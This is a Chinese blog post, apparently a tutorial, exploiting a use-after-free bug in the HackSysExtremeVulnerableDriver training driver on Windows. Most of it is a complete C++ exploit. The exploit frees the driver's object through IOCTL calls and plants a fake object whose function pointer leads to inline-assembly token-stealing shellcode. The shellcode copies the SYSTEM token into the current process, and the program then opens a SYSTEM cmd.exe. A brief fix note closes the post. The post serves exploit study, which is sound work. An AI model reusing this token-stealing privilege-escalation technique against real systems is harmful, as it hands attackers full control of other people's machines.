初探UAF漏洞(3)

 构造exp

#include <iostream>
#include <Windows.h>

typedef void(*FunctionPointer) ();

typedef struct _FAKE_USE_AFTER_FREE
{
    FunctionPointer countinter;
    char bufffer[0x54];
}FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;

void ShellCode()
{
    _asm
    {
        nop
        pushad
        mov eax, fs: [124h]  
        mov eax, [eax + 0x50]   
        mov ecx, eax
        mov edx, 4              

        find_sys_pid :
        mov eax, [eax + 0xb8]   
        sub eax, 0xb8           
        cmp[eax + 0xb4], edx    
        jnz find_sys_pid

        mov edx, [eax + 0xf8]
        mov[ecx + 0xf8], edx
        popad
        ret
    }
}

static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}


int main()
{
    DWORD recvBuf;
    // 获取句柄
    HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("获取句柄失败\n");
        return 0;
    }

    DeviceIoControl(hDevice, 2236435, NULL, NULL, NULL, 0, &recvBuf, NULL);
    DeviceIoControl(hDevice, 2236443, NULL, NULL, NULL, 0, &recvBuf, NULL);
    PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
    fakeG_UseAfterFree->countinter = ShellCode;
    RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');


    DeviceIoControl(hDevice, 2236511, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
    DeviceIoControl(hDevice, 2236439, NULL, NULL, NULL, 0, &recvBuf, NULL);

    CreateCmd();
    return 0;
}

为了能够保证v1g_UseAfterFreeObjectNonPagedPool指向同一块内存,可以使用池喷射的方式。

修复

g_UseAfterFreeObjectNonPagedPool在释放后指向null即可避免问题

相关推荐

  1. 初探文件包含漏洞

    2024-01-12 12:58:02       45 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-12 12:58:02       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-12 12:58:02       106 阅读
  3. 在Django里面运行非项目文件

    2024-01-12 12:58:02       87 阅读
  4. Python语言-面向对象

    2024-01-12 12:58:02       96 阅读

热门阅读

  1. 【数据库学习】hive

    2024-01-12 12:58:02       52 阅读
  2. 深度学习中的正则化指的是什么?

    2024-01-12 12:58:02       61 阅读
  3. vue3 组件内判断是从哪个页面过来的

    2024-01-12 12:58:02       68 阅读
  4. golang常见算法题

    2024-01-12 12:58:02       59 阅读
  5. JPA的乐观锁实现并发执行SQL案例

    2024-01-12 12:58:02       49 阅读
  6. 测试工程师常用的ChatGPT通用提示词模板

    2024-01-12 12:58:02       54 阅读
  7. LeetCode [103] 二叉树的锯齿形层序遍历

    2024-01-12 12:58:02       62 阅读
  8. 安全加密算法

    2024-01-12 12:58:02       65 阅读
  9. 新版cnpmcore部署私有npm源全教程

    2024-01-12 12:58:02       47 阅读
  10. 浅谈MySQL之新增列

    2024-01-12 12:58:02       58 阅读
  11. socket.d.js v2.3.4 支持“微信“、“uniapp“

    2024-01-12 12:58:02       61 阅读
  12. 【OCR】 - Tesseract OCR在Windows系统中安装

    2024-01-12 12:58:02       55 阅读